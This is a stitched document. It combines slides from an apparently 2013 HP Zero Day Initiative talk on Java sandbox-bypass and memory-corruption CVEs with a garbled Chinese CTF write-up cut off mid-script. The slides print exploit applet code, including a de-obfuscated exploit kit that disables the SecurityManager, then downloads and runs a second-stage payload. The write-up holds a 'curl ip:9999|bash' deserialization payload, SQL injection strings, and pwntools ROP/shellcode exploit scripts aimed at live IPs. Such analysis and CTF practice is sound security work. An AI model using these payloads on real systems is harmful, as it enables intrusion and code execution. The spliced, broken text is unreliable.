Overﬂow CWE-122: Heap-based Buﬀer Overﬂow CWE-121: Stack-based Buﬀer Overﬂow CWE-119: Improper Restrictions on Buﬀer Operations CWE-787: Out- of-bounds Write CWE-125: Out- of-bounds Read CWE-822: Untrusted Pointer Dereference CWE-190: Integer Overﬂow Other Less Common CWEs CWE-114: Process Control CWE-78: OS Command Injection CWE-416: Use- After-Free © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 16 Diﬀerent Flavors of CWEs Root Cause of Access Violation •  Integer Overﬂow (CWE-190) causing Allocation of Smaller than Intended Buﬀer •  Incorrect Arithmetic Operation Resulting in Writing Past a Statically Sized Buﬀer CWE-122 Heap-based Buﬀer Overﬂows and CWE-787 Out-of-bounds Writes © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 17 Oracle Known About This Weakness For Some Time CWE-265 Breakdown and Historical Timeline About Half of the Vulnerabilities in Data Set •  Unsafe Reﬂection Most Popular, Followed by Least Privilege Violations Popular with Exploit Kit Community •  Nine CVEs Under Active Exploitation Over Last Three Years •  No Need to Bypass DEP or ASLR Mitigations, It Just Works !"#$%&'%$&(&)* !"#$%&''$+(,,* !"#$%&'%$')%+* !"#$%&'%$,-.'* !"#$%&'%$(&)-* !"#$%&'+$&,%%* !"#$%&'+$&,+'* %&''* %&'%* %&'+* ,* .* © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 18 Mapping Vulnerability Class to Sub-components Extrapolating Sub-component Weaknesses © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 19 Mapping Vulnerability Class to Sub-components Extrapolating Sub-component Weaknesses © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 20 Top 7 Vulnerability Classes in the Java © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Java Sub-component Weaknesses © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 22 Privilege/Sandbox Issues due to Unsafe Reﬂection Library Sub-component Weaknesses CVE-2013-2436 •  Uses Security Exploration’s Issue 54 –  Gives access to ClassLoader.deﬁneClass via a MethodHandle •  Also Issue 55 (Independently submitted to the ZDI) •  Call MethodHandle.bindTo on the Applet’s ClassLoader –  Changes restrictions so that ClassLoader is a valid argument •  Create a PermissionDomain that contains AllPermission •  Load a class using the aforementioned PermissionDomain •  Execute a method within the loaded class that will disable the SecurityManager © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 23 public class MaliciousApplet extends Applet { private static MethodHandle defineClassHandle; public static CallSite setDefineClassHandle(MethodHandles.Lookup caller, String name, MethodType type, MethodHandle handle) throws NoSuchMethodException, IllegalAccessException { defineClassHandle = handle; return null } public void init() { try { InvokeDynamic.getClassHandle(); } catch (Exception e) { } try { Permissions permissions = new Permissions(); permissions.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions); ClassLoader myClassLoader = MaliciousApplet.class.getClassLoader(); MethodHandle boundMHandle = defineClassHandle.bindTo(myClassLoader); Class evilClass = (Class)boundMHandle.invoke("Evil", CLASS_BYTES, 0, CLASS_BYTES.length, protectionDomain); // At this point you would invoke a method within the evilClass } catch (Exception e) { } } } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 24 Privilege/Sandbox Issues due to Unsafe Reﬂection Library Sub-component Weaknesses CVE-2013-2436 •  Patched in JDK 7u21 –  sun.invoke.util.Wrapper’s convert method was modiﬁed –  Updated snippet private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) { if (this == OBJECT) { assert (!paramClass.isPrimitive()); if (!paramClass.isInterface()) { paramClass.cast(paramObject); } ... © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 25 private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) { if (this == OBJECT) { localObject1 = paramObject; return localObject1; } Object localObject1 = wrapperType(paramClass); if (((Class)localObject1).isInstance(paramObject)) { localObject2 = paramObject; return localObject2; } Object localObject2 = paramObject.getClass(); if (!paramBoolean) { localObject3 = findWrapperType((Class)localObject2); if ((localObject3 == null) \|\| (!isConvertibleFrom((Wrapper)localObject3))) { throw newClassCastException((Class)localObject1, (Class)localObject2); } } Object localObject3 = wrap(paramObject); assert (localObject3.getClass() == localObject1); return localObject3; } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 26 Privilege/Sandbox Issues due to Least Privilege Violation Library Sub-component Weaknesses CVE-2013-1484 •  Proxy.newProxyInstance –  Does not save the caller’s AccessControlContext –  Requires an InvocationHandler that executes an arbitrary statement •  MethodHandleProxies.asInterfaceInstance –  Can create an InvocationHandler instance –  Gives access to ClassLoader.deﬁneClass via a MethodHandle •  Execute the bound MethodHandle without putting user frames on the stack © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 27 Privilege/Sandbox Issues due to Least Privilege Violation Library Sub-component Weaknesses CVE-2013-1484 •  Example snippet •  Still need to use Proxy.newProxyInstance •  Then need to invoke the method such that no user frames are put on the stack DesiredClass desiredClassInstance = new DesiredClass() MethodType methodType = MethodType.methodType(ReturnClass.class, ParameterClass.class); MethodHandle methodHandle = MethodHandles.lookup().findVirtual(DesiredClass.class, "instanceMethod", methodType); methodHandle = methodHandle.bindTo(desiredClassInstance); methodHandle = MethodHandles.dropArguments(methodHandle, 0, Object.class, Method.class, Object[].class); InvocationHandle iHandler = MethodHandleProxies.asInterfaceInstance(InvocationHandler.class, methodHandle); © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 28 Heap-based Buﬀer Overﬂow due to Integer Overﬂow 2D Sub-component Weaknesses CVE-2013-0809 •  mlib_ImageCreate –  Implemented in jdk/src/share/native/sun/awt/medialib/mlib_ImageCreate.c –  Overﬂow based on height * width * channels * 4 mlib_image mlib_ImageCreate(mlib_type type, mlib_s32 channels, mlib_s32 width, mlib_s32 height) { if (width <= 0 \|\| height <= 0 \|\| channels < 1 \|\| channels > 4) { return NULL; }; ... switch (type) { ... case MLIB_INT: wb = width channels * 4; break; ... } ... data = mlib_malloc(wb * height); ... } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 29 Heap-based Buﬀer Overﬂow due to Integer Overﬂow 2D Sub-component Weaknesses CVE-2013-0809 •  Patched in JDK 7u17 –  Introduction of the SAFE_TO_MULT macro –  Used whenever values are being multiplied © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 30 mlib_image mlib_ImageCreate(mlib_type type, mlib_s32 channels, mlib_s32 width, mlib_s32 height) { if (!SAFE_TO_MULT(width, channels)) { return NULL; } wb = width channels; ... switch (type) { ... case MLIB_INT: if (!SAFE_TO_MULT(wb, 4)) { return NULL; } wb = 4; break; ... } ... if (!SAFE_TO_MULT(wb, height)) {return NULL; } data = mlib_malloc(wb height); if (data == NULL) { return NULL; } ... } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 31 Out-of-bounds Write due to Integer Overﬂow 2D Sub-component Weaknesses CVE-2013-2420 •  setICMpixels –  Implemented in jdk/src/share/native/sun/awt/image/awt_ImageRep.c –  Accessible via sun.awt.image.ImageRepresentation –  Issue lies in the last parameter •  Its scanlideStride ﬁeld is used without any validation © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 32 JNIEXPORT void JNICALL Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv env, jclass cls, jint x, jint y, jint w, jint h, jintArray jlut, jbyteArray jpix, jint off, jint scansize, jobject jict) { unsigned char srcData = NULL; int dstData; int dstP, dstyP; unsigned char srcyP, srcP; int srcLUT = NULL; int yIdx, xIdx; int sStride; int cOffs; int pixelStride; jobject joffs = NULL; jobject jdata = NULL; sStride = (env)->GetIntField(env, jict, g_ICRscanstrID); pixelStride = (env)->GetIntField(env, jict, g_ICRpixstrID); joffs = (env)->GetObjectField(env, jict, g_ICRdataOffsetsID); jdata = (env)->GetObjectField(env, jict, g_ICRdataID); srcLUT = (int ) (env)->GetPrimitiveArrayCritical(env, jlut, NULL); srcData = (unsigned char ) (env)->GetPrimitiveArrayCritical(env, jpix, NULL); cOffs = (int ) (env)->GetPrimitiveArrayCritical(env, joffs, NULL); dstData = (int ) (env)->GetPrimitiveArrayCritical(env, jdata, NULL); dstyP = dstData + cOffs[0] + ysStride + xpixelStride; srcyP = srcData + off; for (yIdx = 0; yIdx < h; yIdx++, srcyP += scansize, dstyP+=sStride) { srcP = srcyP; dstP = dstyP; for (xIdx = 0; xIdx < w; xIdx++, dstP+=pixelStride) { dstP = srcLUT[srcP++]; } } } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 33 Out-of-bounds Write due to Integer Overﬂow 2D Sub-component Weaknesses CVE-2013-2420 •  Patched in JDK 7u21 –  Introduction of the CHECK_STRIDE, CHECK_SRC, CHECK_DST macros –  All input arguments validated © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 34 #define CHECK_STRIDE(yy, hh, ss) if ((ss) != 0) { int limit = 0x7fffffff / ((ss) > 0 ? (ss) : -(ss)); if (limit < (yy) \|\| limit < ((yy) + (hh) - 1)) { / integer oveflow / return JNI_FALSE; } } #define CHECK_SRC() do { int pixeloffset; if (off < 0 \|\| off >= srcDataLength) { return JNI_FALSE; } CHECK_STRIDE(0, h, scansize); / check scansize / pixeloffset = scansize (h - 1); if ((w - 1) > (0x7fffffff - pixeloffset)) { return JNI_FALSE; } pixeloffset += (w - 1); if (off > (0x7fffffff - pixeloffset)) { return JNI_FALSE; } } while (0) #define CHECK_DST(xx, yy) do { int soffset = (yy) * sStride; int poffset = (xx) * pixelStride; if (poffset > (0x7fffffff - soffset)) { return JNI_FALSE; } poffset += soffset; if (dstDataOff > (0x7fffffff - poffset)) { return JNI_FALSE; } poffset += dstDataOff; if (poffset < 0 \|\| poffset >= dstDataLength) { return JNI_FALSE; } } while (0) © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 35 JNIEXPORT jboolean JNICALL Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv env, jclass cls, jint x, jint y, jint w, jint h, jintArray jlut, jbyteArray jpix, jint off, jint scansize, jobject jict) { ... if (x < 0 \|\| w < 1 \|\| (0x7fffffff - x) < w) { return JNI_FALSE; } if (y < 0 \|\| h < 1 \|\| (0x7fffffff - y) < h) { return JNI_FALSE; } sStride = (env)->GetIntField(env, jict, g_ICRscanstrID); pixelStride = (env)->GetIntField(env, jict, g_ICRpixstrID); joffs = (env)->GetObjectField(env, jict, g_ICRdataOffsetsID); jdata = (env)->GetObjectField(env, jict, g_ICRdataID); if (JNU_IsNull(env, joffs) \|\| (env)->GetArrayLength(env, joffs) < 1) { /* invalid data offstes in raster / return JNI_FALSE; } srcDataLength = (env)->GetArrayLength(env, jpix); dstDataLength = (env)->GetArrayLength(env, jdata); cOffs = (int ) (env)->GetPrimitiveArrayCritical(env, joffs, NULL); if (cOffs == NULL) { return JNI_FALSE; } ... / do basic validation: make sure that offsets for * first pixel and for last pixel are safe to calculate and use / CHECK_STRIDE(y, h, sStride); CHECK_STRIDE(x, w, pixelStride); CHECK_DST(x, y); CHECK_DST(x + w -1, y + h - 1); / check source array / CHECK_SRC(); ... © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 36 Untrusted Pointer Dereference JavaFX Sub-component Weakness CVE-2013-2428 •  com.sun.webpane.platform.WebPage –  Native pointer stored in the pPage private instance variable –  Accessible via the public getPage instance method –  Some instance methods reference pPage directly •  Others use the getPage accessor –  Subclass WebPage and re-implement getPage to achieve memory corruption © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 37 package com.sun.webpage.platform; ... public class WebPage { ... private long pPage = 0L; ... public long getPage() { return this.pPage; } ... public void setEditable(boolean paramBoolean) { lockPage(); try { log.log(Level.FINE, "setEditable"); if (this.isDisposed) { log.log(Level.FINE, "setEditable() request for a disposed web page."); } else { twkSetEditable(getPage(), paramBoolean); } } finally { unlockPage(); } } ... private native void twkSetEditable(long paramLong, boolean paramBoolean); ... } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 38 Untrusted Pointer Dereference JavaFX Sub-component Weaknesses CVE-2013-2428 •  Access restricted in JDK 7u13 –  com.sun.webpane added to the package access restriction list •  Patched in JDK 7u21 –  getPage method changed to package-private and ﬁnal final long getPage() { return this.pPage; } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Leveraging Sub-component Weaknesses © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 40 Threat Landscape Exploit Kits Focus on Java •  Require 2+ Java Exploits to be Competitive Mirrored Timelines •  Increased Vulnerabilities Discoveries •  Spike in Unique Java Malware Samples Attackers Upping Their Game •  12,000 Unique Samples Against Just 9 CVEs •  Targeting More CVEs •  Getting Exploits on More Machines Java Malware Samples Per Month Exploit Kit Authors Jumping on the Bandwagon © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 41 Highlighting Tool Popularity Aligning Sub-component Weaknesses to Attacks Determine What is Available •  Actively Targeted CVEs •  Penetration Testing Tools •  Exploit Kits Toolsets Focus on Sandbox Bypasses 1.  Unsafe Reﬂection 2.  Type Confusion 3.  Heap-based Buﬀer Overﬂow 4.  Least Privilege Violation © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 42 Measuring the Landscape Weaknesses Utilized by Attackers Most Prevalent Issue Under Active Exploitation •  Type Confusion based Sandbox Bypasses Memory Corruption Issues Barely Visible © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 43 Exploitation Techniques Sandbox Bypasses •  System.setSecurityManager(null) –  Need higher context –  No user stack Memory Corruption •  “Traditional” Exploitation Techniques –  Still have to bypass DEP and ASLR •  Something easier? –  java.beans.Statement Bugs in Native Code System.setSecurityManager(null) mov ecx,[esp+0C] // pObserver test ecx,ecx je +0C mov eax,[ecx] mov edx,[esp+14] // pImage mov eax,[eax+10] push edx call eax ret 18 © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 44 java.beans.Statement Exploitation Techniques Represents a Single Java Statement •  instanceVariable.instanceMethod(argument1) Has an AccessControlContext Instance Variable •  Replace with AccessControlContext that has AllPermission 1.  Create the Statement –  Statement s = new Statement(System.class, “setSecurityManager”, new Object[1]) 2.  Replace the AccessControlContext with a More Powerful One –  Permission p = new Permissions(); –  p.add(new AllPermission()); –  new AccessControlContext(new ProtectionDomain[]{new ProtectionDomain(null, p)}); 3.  Execute the Statement –  s.execute(); © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 45 CVE-2012-1723 Case Study Vulnerability in the HotSpot Bytecode Veriﬁer •  Leads to Type Confusion Characteristics •  At Least 100 Instance Variables of a Class –  Do not need to be set •  A Static Variable of Another Class •  A Method within the Class –  Takes the Static Class’ Type –  Returns the Instance Variables’ Type –  Repeated Calls to this Method with Null as the Sole Argument © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 46 Case Study Contains Six Class Files Three Useful •  Adw.class –  Contains three static methods –  Only one used •  dqqOzf.class –  Implements PrivilegedExceptionAction –  Contains a call to System.setSecurityManager •  qWodxNpkOs.class –  Extends Applet –  Execution starts in its init method Three Unused •  dumppzGr.class –  No static initializer –  Never referenced •  qFvtPH.class –  No static initializer –  Never referenced •  vceBGI.class –  No static initializer –  Never referenced CVE-2012-1723 © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 47 CVE-2012-1723 Case Study No Characteristics of CVE-2012-1723 •  Need to De-obfuscate to Find the Actual CVE –  Obfuscated with Allitori’s Java Obfuscator •  Did Not Use Options Such as Code Flow Obfuscation •  Apply Compiler Optimizations to De-obfuscate –  Constant Propagation –  Dead Code Elimination –  Function Inlining –  Function Evaluation © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 48 CVE-2012-1723 Case Study Constant Propagation and Function Evaluation public static URL RWdvAlV(String paramString, int paramInt) throws Exception { String str = paramString; str = str + (char)(Math.min(113, 2454) + paramInt); str = str + (char)(Math.min(116, 23544) + paramInt); str = str + (char)(Math.min(109, 23544) + paramInt); str = str + (char)(Math.min(66, 7275) + paramInt); str = str + (char)(Math.min(55, 3235) + paramInt); str = str + (char)(Math.min(55, 2225) + paramInt); str = str + (char)(Math.min(55, 6275) + paramInt); return new URL(str); } RWdvAlV('f', -8) new URL(”file:///”) © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 49 CVE-2012-1723 Case Study Dead Code Elimination and Function Inlining int wRXNjHtp(String paramString, int paramInt1, int paramInt2, long paramLong) { int i = Math.min(333856, 207293) ^ 0x66493; int j = Math.min(421682, 199391) % 85754; int k = Math.abs(263858) + 211007; int m = Math.abs(23452) + 221538; return paramInt1 324346 + paramInt1 % 98101; } int wRXNjHtp(String paramString, int paramInt1, int paramInt2, long paramLong) { return paramInt1 * 324346 + paramInt1 % 98101; } int wRXNjHtp(int paramInt1) { return paramInt1 * 324346 + paramInt1 % 98101; } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 50 //EvilApplet (formerly qWodxNpkOs) package cve_2012_1723; import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory; import com.sun.org.glassfish.gmbal.util.GenericConstructor; import java.applet.Applet; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.lang.reflect.Method; public class EvilApplet extends Applet { public void init() { String str = System.getProperty("java.version"); if (str.indexOf("1.7") != -1) { try { ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); byte[] arrayOfByte = new byte[8192]; InputStream localInputStream = getClass().getResourceAsStream("dqqOzf.class"); int i; while ((i = localInputStream.read(arrayOfByte)) > 0) localByteArrayOutputStream.write(arrayOfByte, 0, i); arrayOfByte = localByteArrayOutputStream.toByteArray(); GenericConstructor localGenericConstructor = new GenericConstructor(Object.class,"sun.invoke.anon.AnonymousClassLoader",new Class[0]); Object localObject = localGenericConstructor.create(new Object[0]); Method localMethod = ManagedObjectManagerFactory.getMethod(localObject.getClass(), "loadClass", new Class[] { Byte[].class }); Class ACLdqqOzf = (Class)localMethod.invoke(localObject, new Object[] { arrayOfByte }); EvilActionClass.triggerDoPrivBlock(getParameter("Sjuzeod"), ACLdqqOzf); } catch (Exception e) { } } } } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 51 //EvilActionClass (formerly dqqOzf) package cve_2012_1723; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileOutputStream; import java.net.URL; import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class EvilActionClass implements PrivilegedExceptionAction { public EvilActionClass(String paramString1) { try { AccessController.doPrivileged(this); getSaveAndRunSecondStage(paramString1); } catch (Exception e) { } } public static void triggerDoPrivBlock(String obfuscatedURL, Class paramClass) throws Exception { String[] arrayOfString = obfuscatedURL.split("hj"); String url = ""; int i = 0; while (i < arrayOfString.length) { url += (char)(Integer.parseInt(arrayOfString[i]) + 1); i++; } paramClass.getConstructor(new Class[] { String.class }).newInstance(new Object[] { url }); } public Object run() { System.setSecurityManager(null); return Integer.valueOf(56); } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 52 public void getSaveAndRunSecondStage(String url) { try { BufferedInputStream bis = new BufferedInputStream(new URL(url).openStream()); String droppedFileName = System.getenv("APPDATA").concat("java.io.tmpdir"); BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream (droppedFileName), 1024); byte[] buf = new byte[1024]; int i = 0; while ((i = bis.read(buf, 0, 1024)) >= 0) { bos.write(buf, 0, i); } bos.close(); bis.close(); try { Process localProcess = new ProcessBuilder(new String[] { droppedFileName }).start (); } catch (Exception localException) { } Process localProcess2 = new ProcessBuilder(new String[]{"regsvr32.exe", "/s", droppedFileName}).start(); } catch (Exception e) { } } } © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 53 CVE-2012-1723 CVE-2012-5076 Case Study De-Obfuscated Funcationality 1.  GenericConstructor instantiates a restricted class, AnonymousClassLoader 2.  ManagedObjectManagerFactory is used to get access to the loadClass instance method of AnonymousClassLoader 3.  AnonymousClassLoader is used load a malicious subclass of PrivilegedExceptionAction 4.  At this point, a function inside our malicious subclass is executed 5.  De-obfuscate a URL to grab the second stage from 6.  Instantiate the subclass with the URL 7.  The constructor calls AccessController.doPrivileged() on itself 8.  The run method is executed to nulliﬁes the SecurityManager 9.  Download the second stage and execute it © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 54 $20,000 Dollar Question Pwn2Own 2013 What Vulnerability Types Would Researchers Bring? •  Expectation: Sandbox Bypasses due to Unsafe Reﬂection •  Reality: The Top 4 Vulnerability Types Aﬀecting Java © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Vendor Response Review © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 56 Lather, Rinse, Repeat Handling Vulnerability Disclosure Improving Vulnerability Turnaround Time •  ZDI Vulnerabilities Patched within 3 Months of Submission •  Improved Vulnerability Turnaround Time Over Last Three Years Aggressively Adjust Attack Surface •  “Killed” 15 Zero Day Initiative Cases due to Patching –  JDK 7u13 Killed Three Untrusted Pointer Dereferencing Cases –  JDK 7u15 Kill Two Least Privilege Violation Cases •  Increased Applet Package Restrictions •  Tightening Up Least Privilege Violations Increased Patch Update Cycle •  4 Releases a Year © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 57 Package Restriction List Modiﬁcations © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 58 Full Package Restriction List for JDK 7u25 JDK 7u25 sun com.sun.org.apache.xalan.internal.xslt org.mozilla.jss com.sun.xml.internal com.sun.org.apache.xalan.internal.xsltc.cmdline com.sun.browser com.sun.imageio com.sun.org.apache.xalan.internal.xsltc.compiler com.sun.glass com.sun.istack.internal com.sun.org.apache.xalan.internal.xsltc.trax com.sun.javafx com.sun.jmx com.sun.org.apache.xalan.internal.xsltc.util com.sun.media.jfxmedia com.sun.proxy com.sun.org.apache.xml.internal.res com.sun.media.jfxmediaimpl com.sun.org.apache.bcel.internal com.sun.org.apache.xml.internal.serializer.utils com.sun.openpisces com.sun.org.apache.regexp.internal com.sun.org.apache.xml.internal.utils com.sun.prism com.sun.org.apache.xerces.internal com.sun.org.apache.xml.internal.security com.sun.scenario com.sun.org.apache.xpath.internal com.sun.org.glassﬁsh com.sun.t2k com.sun.org.apache.xalan.internal.extensions org.jcp.xml.dsig.internal com.sun.webpane com.sun.org.apache.xalan.internal.lib com.sun.java.accessibility com.sun.pisces com.sun.org.apache.xalan.internal.res com.sun.javaws com.sun.webkit com.sun.org.apache.xalan.internal.templates com.sun.deploy com.sun.org.apache.xalan.internal.utils com.sun.jnlp © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Conclusion © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 60 Oracle Weathered Quite The Storm Large Number of Vulnerability Discoveries 50+ New Zero Day Initiative Submissions over the Last 3 Quarters 0-day Vulnerabilities Leveraged by Advisories Largest Java Security Patches to Date Focus on the Sandbox Bypasses Unsafe Reﬂection Most Proliﬁc Issue Type Confusion Most Exploited Vulnerability 2D Sub-component Produces Most Severe Vulnerabilities But Not Utilized Process Improvements by Oracle More Frequent Security Patch Schedule Modiﬁcations to Reduce Attack Surface What Will Tomorrow Hold? © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 61 Thank You! ZDI Researchers Submitting Java Vulnerabilities Over Last Three Years Providing Supporting Material for this Paper Alin Rad Pop [email protected] Anonymous Anonymous Anonymous axtaxt Ben Murphy Chris Ries James Forshaw Joshua J. Drake Michael Schierl Peter Vreugdenhil Sami Koivu Vitaliy Toropov VUPEN Security Mario Vuksan of Reversing Labs Adam Gowdiak of Security Explorations © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Good Luck Bug Hunting! Learn more at: zerodayinitiative.com hp.com/go/hpsr java.com/en/download/uninstall.jsp	pdf
-Writeup Nu1L WEB idid=2333ﬂag ssrf+sqli fuzzsecertdownload.phpssrf insertpayload: gitpayload: O:7:"Record":3:{s:4:"ﬁle";s:19:" curl ip:9999\|bash ";} $ad sqlmap ﬂag .index.php.swn upload.php unzip.sh . zipgetshell pregpayload http://47.104.74.209:20005/index.php?pat=/test/e&rep=system('ls -la')&sub=jutst test id 1%009 linux 1.php/. getshellbackup../ YUN_WAF ...aliyunwaf…like veneno' or 1 and password like 'xxxx' limit 1# YUN_WAF form-data YUN_WAF post.. curlechoshellﬂag Pwn pwn 12. 0x804b14c0x2223322 payloadﬂag HMI 2 alarmSIGALRMhandlerROP alarm libcDynELFleakenvp systemget shellmprotect+shellcode fmtstr_payload(12, {0x804b14c: 0x2223322}) flag{1hasdfw423fgv45432wgasv45443v120bjsdf} from pwn import * cnt = 0x88 + 4 #context(log_level='debug') elf = ELF('./stack') #p = process('./stack') p = remote('47.104.188.176', 30004) rop = ROP(elf) rop.alarm(0x1000) rop.write(1, elf.got['read'], 4) rop.gee() p.recvuntil('Init') p.sendline(cnt * 'A' + rop.chain()) p.recvuntil('...........................................................\n ') p.recvuntil('...........................................................\n ') p.recvuntil('...........................................................\n ') p.recvuntil('...........................................................\n ') read_addr = u32(p.recv(4)) print hex(read_addr) def leak(addr): rop = ROP(elf) rop.write(1, addr, 4) rop.gee() p.sendline(cnt * 'A' + rop.chain()) p.recvuntil('...........................................................\n ') data = p.recv(4) print '%x => %s' % (addr, data or '') return data d = DynELF(leak, elf = ELF('./stack')) mprotect_addr = d.lookup('mprotect', 'libc') print hex(mprotect_addr) shellcode = shellcraft.i386.linux.sh() rop = ROP(elf) rop.call(mprotect_addr, arguments=(0x8048000, 4096, 7,)) rop.gee() p.sendline(cnt 'A' + rop.chain()) p.recvuntil('...........................................................\n ') rop = ROP(elf) mmap rop.read(0, 0x8048000, 1024) rop.call(0x8048000) p.sendline((cnt) 'A' + rop.chain()) p.sendline(asm(shellcode)) p.interactive() flag{234dg5g5h5h5hy2h2h234rg34g34grg3} from pwn import * import roputils import time LOCAL = 0 DEBUG = 0 VERBOSE = 1 context.arch = 'i386' if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./play') libc = ELF('/lib/i386-linux-gnu/libc.so.6') if DEBUG: gdb.attach(io, 'b 0x08048F02\n') else: io = remote('47.104.90.157', 30003) libc = ELF('/home/bird/ctf/libc-database/db/libc6-i386_2.23- 0ubuntu9_amd64.so') def hacking(yes_or_no): io.recvuntil('choice>> ') io.sendline('1') io.recvuntil('use hiden_methods?(1:yes/0:no):') io.sendline(str(yes_or_no)) def change_host(): io.recvuntil('choice>> ') io.sendline('2') def change_methods(idx): io.recvuntil('choice>> ') io.sendline('3') io.recvuntil('choice>> ') io.sendline(str(idx)) def attack(): for i in range(4): if LOCAL: io2 = process('./play') else: io2 = remote('47.104.90.157', 30003) name = 'B1rd' io2.recvuntil('login:') io2.sendline(name) io2.recvuntil('choice>> ') io2.close() hacking(1) def attack2(): name = 'B1rd' io.recvuntil('login:') io.sendline(name) change_methods(1) # level 0 hacking(1) hacking(1) # level 1 hacking(1) hacking(1) hacking(1) # level 2 hacking(1) hacking(1) hacking(1) hacking(1) change_host() hacking(1) hacking(1) change_host() change_host() hacking(1) change_host() change_host() change_host() change_host() hacking(1) /proc/self/maps /proc/self/mem # level 3 for i in range(14): attack() change_host() for i in range(3): if LOCAL: io2 = process('./play') else: io2 = remote('47.104.90.157', 30003) name = 'B1rd' io2.recvuntil('login:') io2.sendline(name) io2.recvuntil('choice>> ') io2.close() hacking(1) attack2() io.recvuntil('what\'s your name:') elf = ELF('./play') io.sendline('A' 0x4c + p32(elf.plt['write']) + p32(0x80492C0) + p32(1) + p32(elf.got['read']) + p32(4)) io.recvuntil('\n') libc_addr = u32(io.recvn(4)) - libc.symbols['read'] log.info('libc_addr:%#x' % libc_addr) system_addr = libc_addr + libc.symbols['system'] bin_sh = libc_addr + next(libc.search('/bin/sh')) log.info('system_addr:%#x' % system_addr) log.info('bin_sh:%#x' % bin_sh) attack2() io.recvuntil('what\'s your name:') io.sendline('A' * 0x4c + p32(system_addr) + p32(0) + p32(bin_sh)) io.recv() io.interactive() # -- coding: UTF-8 -- from pwn import * LOCAL = 0 DEBUG = 1 VERBOSE = 1 if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./fileManager', aslr=False, env={'LD_PRELOAD': './libc.so.6'}) libc = ELF('./libc.so.6') if DEBUG: gdb.attach(io, 'b *0x56555F2C\n') else: io = remote('47.104.188.138', 30007) libc = ELF('./libc.so.6') def read_mod(name, offset, size): io.recvuntil('\x87\xba\n') io.sendline('1') io.recvuntil('\xa7\xb0\x3a') io.sendline(name) io.recvuntil('\x87\x8f\x3a') io.sendline(str(offset)) io.recvuntil('\xb0\x8f\x3a') io.sendline(str(size)) io.recvuntil('\xae\xb9') def write_mod(name, offset, size, content): io.recvuntil('\x87\xba\n') io.sendline('2') io.recvuntil('\xa7\xb0\x3a') io.sendline(name) io.recvuntil('\x87\x8f\x3a') io.sendline(str(offset)) 